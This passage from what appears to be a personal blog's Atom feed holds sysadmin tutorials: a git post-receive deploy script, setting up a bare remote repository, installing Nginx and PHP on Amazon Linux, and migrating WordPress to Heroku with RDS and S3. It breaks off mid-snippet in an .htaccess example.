  &lt;li&gt;REPO_PATH = Path to your git folder&lt;/li&gt;
  &lt;li&gt;DEPLOY_PATH = Path to your destiny folder&lt;/li&gt;
  &lt;li&gt;DEPLOY_BRANCH = Branch you want to deploy&lt;/li&gt;
&lt;/ul&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;REPO_PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/home/someuser/test.git
&lt;span class=&quot;nv&quot;&gt;DEPLOY_PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/var/www/
&lt;span class=&quot;nv&quot;&gt;DEPLOY_BRANCH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;master&quot;&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;REPO_PATH=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$REPO_PATH&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;DEPLOY_PATH=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DEPLOY_PATH&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;oldrev newrev refname
&lt;span class=&quot;k&quot;&gt;do
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;branch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;git rev-parse &lt;span class=&quot;nt&quot;&gt;--symbolic&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--abbrev-ref&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$refname&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$DEPLOY_BRANCH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$branch&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;TIMESTAMP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;date&lt;/span&gt; +%Y%m%d%H%M%S&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;VERSION_PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DEPLOY_PATH&lt;/span&gt;/sources/&lt;span class=&quot;nv&quot;&gt;$TIMESTAMP&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;LIVE_PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DEPLOY_PATH&lt;/span&gt;/live
        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;TIMESTAMP=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TIMESTAMP&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;VERSION_PATH=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$VERSION_PATH&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;LIVE_PATH=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LIVE_PATH&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;

        &lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$VERSION_PATH&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$VERSION_PATH&lt;/span&gt;/sources

        git &lt;span class=&quot;nt&quot;&gt;--work-tree&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$VERSION_PATH&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--git-dir&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$REPO_PATH&lt;/span&gt; checkout &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$DEPLOY_BRANCH&lt;/span&gt;
        &lt;span class=&quot;c&quot;&gt;# Remove git files&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$VERSION_PATH&lt;/span&gt;/.git
        &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$LIVE_PATH&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$VERSION_PATH&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$LIVE_PATH&lt;/span&gt;


        &lt;span class=&quot;c&quot;&gt;# Delete old folder keeping the 3 most recent ones, which aren't the current live one, / (root, security measure, different from your source folder)&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-1dt&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;find &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$DEPLOY_PATH&lt;/span&gt;/sources/ &lt;span class=&quot;nt&quot;&gt;-maxdepth&lt;/span&gt; 1 &lt;span class=&quot;nt&quot;&gt;-type&lt;/span&gt; d &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-samefile&lt;/span&gt; / &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-samefile&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$DEPLOY_PATH&lt;/span&gt;/sources/ &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-samefile&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$LIVE_PATH&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-print&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;tail&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt;+3&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fi
done&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If you have any question, let me know.
Matheus&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Pushing to your own remote git</title>
   <link href="http://www.matbra.com/2016/12/08/pushing-to-your-own-remote-git.html"/>
   <updated>2016-12-08T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2016/12/08/pushing-to-your-own-remote-git</id>
   <content type="html">&lt;p&gt;I’m creating a new server as you can notice and I would like to push directly to my git (hosted on my own server), so I could release a new version with a simple &lt;code class=&quot;highlighter-rouge&quot;&gt;git push myserver branch&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you want to achieve this as well you can connect to your remote ssh and execute&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;$ mkdir test.git&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;$ cd git&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;$ git --bare init&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You will need to know the full path of your git folder to add to as a remote on your local, to check the full path run &lt;code class=&quot;highlighter-rouge&quot;&gt;pwd&lt;/code&gt;. Back to your local machine add your remote server.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git remote add my_server ssh://user@ip:/replace/with/pwd/test.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After this you can use &lt;code class=&quot;highlighter-rouge&quot;&gt;git push my_server branch&lt;/code&gt; to push to it.&lt;/p&gt;

&lt;p&gt;Matheus&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Install Nginx, PHP on Amazon Linux</title>
   <link href="http://www.matbra.com/2016/12/07/install-nginx-php-on-amazon-linux.html"/>
   <updated>2016-12-07T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2016/12/07/install-nginx-php-on-amazon-linux</id>
   <content type="html">&lt;p&gt;I’m migrating my blog and a few other stuff I have running to Amazon infrastructure. I needed an Amazon EC2 instance with PHP support and able to connect to a MySQL.&lt;/p&gt;

&lt;h3 id=&quot;steps&quot;&gt;Steps:&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;yum update&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;yum install nginx&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;yum install php70 php70-fpm php70-mysqlnd&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Edit /etc/nginx/conf.d/virtual.conf&lt;/li&gt;
&lt;/ol&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;&lt;span class=&quot;k&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;listen&lt;/span&gt;       &lt;span class=&quot;mi&quot;&gt;3000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;kn&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;root&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;/var/www/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;index&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;index.php&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;index.html&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;index.htm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;kn&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;~&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;\.php$&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;root&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;/var/www/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;fastcgi_pass&lt;/span&gt;   &lt;span class=&quot;s&quot;&gt;unix:/var/run/php-fpm/php-fpm.sock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;fastcgi_index&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;index.php&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;fastcgi_param&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;SCRIPT_FILENAME&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;$document_root$fastcgi_script_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kn&quot;&gt;include&lt;/span&gt;        &lt;span class=&quot;s&quot;&gt;fastcgi_params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ol&gt;
  &lt;li&gt;Edit the following properties of: /etc/php-fpm-7.0.d/www.conf&lt;/li&gt;
&lt;/ol&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;&lt;span class=&quot;k&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nginx&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;group&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nginx&lt;/span&gt;

&lt;span class=&quot;s&quot;&gt;listen&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;/var/run/php-fpm/php-fpm.sock&lt;/span&gt;

&lt;span class=&quot;s&quot;&gt;listen.owner&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nginx&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;listen.group&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nginx&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;listen.mode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0660&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ol&gt;
  &lt;li&gt;Create a php file on /var/www/&lt;/li&gt;
&lt;/ol&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;phpinfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ol&gt;
  &lt;li&gt;Access http://SERVER_IP:3000&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You will need your security group for your ec2 instance to have port 3000 opened.&lt;/p&gt;

&lt;p&gt;If you want to add them to auto start:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo chkconfig nginx on
sudo chkconfig php-fpm on
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you want to restart this services:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo service nginx restart
sudo service php-fpm restart
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Matheus&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Migrate old Wordpress to Heroku, Amazon RDS and S3.</title>
   <link href="http://www.matbra.com/2016/12/03/migrate-old-wordpress-to-heroku-s3-rds.html"/>
   <updated>2016-12-03T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2016/12/03/migrate-old-wordpress-to-heroku-s3-rds</id>
   <content type="html">&lt;p&gt;After a few good years with my blog out of date, I decided to start to write again and to migrate it to Heroku since his server was with a really old stack. I decided to use Heroku, Amazon RDS as Database service and S3 as file storage (for uploaded files)&lt;/p&gt;

&lt;h3 id=&quot;steps&quot;&gt;Steps:&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;Disable all Wordpress’ extensions&lt;/li&gt;
  &lt;li&gt;Do a full backup (Wordpress, Database, Uploads, etc)&lt;/li&gt;
  &lt;li&gt;Really, do a backup!&lt;/li&gt;
  &lt;li&gt;Create a git repository&lt;/li&gt;
  &lt;li&gt;Add Wordpress code to your git
    &lt;ol&gt;
      &lt;li&gt;If you want to update your Wordpress add &lt;a href=&quot;https://wordpress.org/download/&quot;&gt;latest Wordpress version&lt;/a&gt;
        &lt;ol&gt;
          &lt;li&gt;&lt;strong&gt;Don’t add your private configs (wp-config.php)!&lt;/strong&gt;&lt;/li&gt;
          &lt;li&gt;Don’t add &lt;strong&gt;uploads&lt;/strong&gt; folder&lt;/li&gt;
          &lt;li&gt;Add your plugins&lt;/li&gt;
          &lt;li&gt;Add your theme&lt;/li&gt;
        &lt;/ol&gt;
      &lt;/li&gt;
      &lt;li&gt;If you want to keep your Wordpress version, add your current blog’s code
        &lt;ol&gt;
          &lt;li&gt;&lt;strong&gt;Don’t add your private configs (wp-config.php)!&lt;/strong&gt;&lt;/li&gt;
          &lt;li&gt;Don’t add &lt;strong&gt;uploads&lt;/strong&gt; folder&lt;/li&gt;
        &lt;/ol&gt;
      &lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;Atention with your private files!!&lt;/li&gt;
  &lt;li&gt;Update your wp-config
    &lt;ol&gt;
      &lt;li&gt;All your &lt;strong&gt;private&lt;/strong&gt; configs must use getenv, this function will be responsible to fetch the values from env vars.&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;    &lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AUTH_KEY'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;         &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'WP_AUTH_KEY'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'SECURE_AUTH_KEY'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'WP_SECURE_AUTH_KEY'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'LOGGED_IN_KEY'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;    &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'WP_LOGGED_IN_KEY'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'NONCE_KEY'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;        &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'WP_NONCE_KEY'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    
    &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AUTH_SALT'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;        &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'WP_AUTH_SALT'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'SECURE_AUTH_SALT'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'WP_SECURE_AUTH_SALT'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'LOGGED_IN_SALT'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'WP_LOGGED_IN_SALT'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'NONCE_SALT'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;       &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'WP_NONCE_SALT'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    
    &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'S3_UPLOADS_BUCKET'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AWS_S3_BUCKET'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'S3_UPLOADS_KEY'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AWS_S3_KEY'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'S3_UPLOADS_SECRET'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AWS_S3_SECRET'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'S3_UPLOADS_REGION'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AWS_S3_REGION'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; 
    &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ol&gt;
  &lt;li&gt;Create a composer.json file to define requirements and packages versions
    &lt;ol&gt;
      &lt;li&gt;Exemple composer.json&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span class=&quot;w&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;require&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;php&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;gt;=7.0.0&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;require-dev&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ol&gt;
  &lt;li&gt;Execute &lt;code class=&quot;highlighter-rouge&quot;&gt;composer update&lt;/code&gt; to generate the composer.lock file&lt;/li&gt;
  &lt;li&gt;Update your .htaccess file to redirect your uploads to your S3 bucket
    &lt;ol&gt;
      &lt;li&gt;Update the url (at the 5th line) on the .htaccess to match your S3 and Bucket&lt;/li&gt;
    &lt;/ol&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;
 RewriteEngine On
 RewriteBase /
 RewriteRule ^index\.php$ - [L]
 RewriteRule ^wp-content/uploads/(.*)$ https://s3-us-west-2.amazonaws.com/BUCKET/uploads/$1 [R=301,L]
 RewriteCond %{REQUEST_FILENAME} !-f
 RewriteCond %{REQUEST_FILENAME} !-d
